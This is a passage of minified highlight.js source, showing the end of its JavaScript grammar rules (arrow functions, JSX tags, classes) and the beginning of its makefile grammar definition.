case",c:[e.CLCM,e.CBCM,e.RM,{cN:"function",b:"(\\(.*?\\)|"+r+")\\s*=>",rB:!0,e:"\\s*=>",c:[{cN:"params",v:[{b:r},{b:/\(\s*\)/},{b:/\(/,e:/\)/,eB:!0,eE:!0,k:t,c:s}]}]},{b://,sL:"xml",c:[{b:/<\w+\s*\/>/,skip:!0},{b:/<\w+/,e:/(\/\w+|\w+\/)>/,skip:!0,c:[{b:/<\w+\s*\/>/,skip:!0},"self"]}]}],r:0},{cN:"function",bK:"function",e:/\{/,eE:!0,c:[e.inherit(e.TM,{b:r}),{cN:"params",b:/\(/,e:/\)/,eB:!0,eE:!0,c:s}],i:/\[|%/},{b:/\$[(.]/},e.METHOD_GUARD,{cN:"class",bK:"class",e:/[{;=]/,eE:!0,i:/[:"\[\]]/,c:[{bK:"extends"},e.UTM]},{bK:"constructor",e:/\{/,eE:!0}],i:/#(?!!)/}});hljs.registerLanguage("makefile",function(e){var i={cN:"variable",v:[{b:"\\$\\("+e.UIR+"\\)",c:[e.BE]},{b:/\$[@%